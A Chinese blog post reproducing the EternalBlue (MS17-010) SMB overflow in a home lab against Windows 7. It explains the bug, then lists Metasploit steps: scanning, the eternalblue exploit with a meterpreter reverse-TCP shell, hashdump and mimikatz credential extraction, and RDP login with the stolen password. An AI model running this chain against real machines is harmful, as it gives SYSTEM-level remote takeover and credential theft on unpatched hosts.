CVE-2017-0143(远程溢出)漏洞复现

一、漏洞原理
MS17-010漏洞出现在Windows SMB v1中的内核态函数srv!SrvOs2FeaListToNt在处理FEA(File Extended Attributes)转换时,在大非分页池(Large Non-Paged Kernel Pool)上存在缓冲区溢出。
函数srv!SrvOs2FeaListToNt在将FEA list转换成NTFEA(Windows NT FEA) list前会调用srv!SrvOs2FeaListSizeToNt去计算转换后的FEA lsit的大小,因计算大小错误,而导致缓冲区溢出。
二、影响版本
Windows 版本包括但不限于:WindowsNT,Windows2000、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8,Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
三、漏洞利用
在现在来说永恒之蓝漏洞算是有点老的漏洞了,Metasploit上已经有集成payload了,但是其危害确实是很大的,因为只要用它打进去似乎直接就是system权限,所以还是拿出来复现了一下。这里我搭的环境是win7,之前用过winxp做环境,结果也是一样的(直接system)。本来这次是打算用win8作为实验环境的,但是在最后用payload去exploit的时候一直回显超时(但是攻击机是ping得通win8机子的,并且扫描模块也显示搭的win8有cve-2017-0143漏洞),所以就换成了win7。不管是用哪种操作系统做环境,前提都要是没打cve-2017-0143漏洞的补丁的,不然怎么样都是白搞。
1.环境
攻击机:kali(192.168.123.31)
目标机:win7(192.168.123.79)
2.漏洞利用
端口扫描查看目标机开455端口没,没开就不用考虑下一步了nmap -sS 192.168.123.79

CVE-2017-0143(远程溢出)漏洞复现_第1张图片
然后就是直接启用msf,去查cve-2017-0143的集成模块search cve-2017-0143
CVE-2017-0143(远程溢出)漏洞复现_第2张图片
然后先用扫描模块扫描一下目标机的永恒之蓝漏洞能不能用
use auxiliary/scanner/smb/smb_ms17_010CVE-2017-0143(远程溢出)漏洞复现_第3张图片该设置什么参数就都设置上
CVE-2017-0143(远程溢出)漏洞复现_第4张图片
是能看到目标机上的永恒之蓝漏洞是可以利用的,接下来就是使用攻击模块了

 use  exploit/windows/smb/ms17_010_eternalblue

同时选择载荷(shellcode),我用的是回连至客户端(shell)的payload

set payload  windows/x64/meterpreter/reverse_tcp

然后就是该配置啥参数就配置啥参数
CVE-2017-0143(远程溢出)漏洞复现_第5张图片
这里我用的本地监听端口是8888,默认是4444,然后直接run就行了
CVE-2017-0143(远程溢出)漏洞复现_第6张图片
这里能看到进来直接就是system权限。
3.如果目标机还开了3389端口的话,还可以尝试去获取用户登录密码。
先用hashdump获取hash值。
mimikatz是一个知名的密码提取神器。它支持从Windows系统内存中提取明文密码、哈希、PIN码和Kerberos凭证等,meterpreter中正集成了这款工具。
执行load mimikatz即可加载该工具,然后运行命令msv,导出hash
CVE-2017-0143(远程溢出)漏洞复现_第7张图片
然后执行kerberos就能拿到用户登录密码了
CVE-2017-0143(远程溢出)漏洞复现_第8张图片
拿到用户登录的账户密码就可以尝试远程连接了,如果连接请求被拦截了,可以尝试将端口转发到攻击机的本地端口进行连接

rdesktop  127.0.0.1 -u 用户名  -p 密码

然后就能弹回目标机的桌面了。

你可能感兴趣的:(随笔,安全,windows)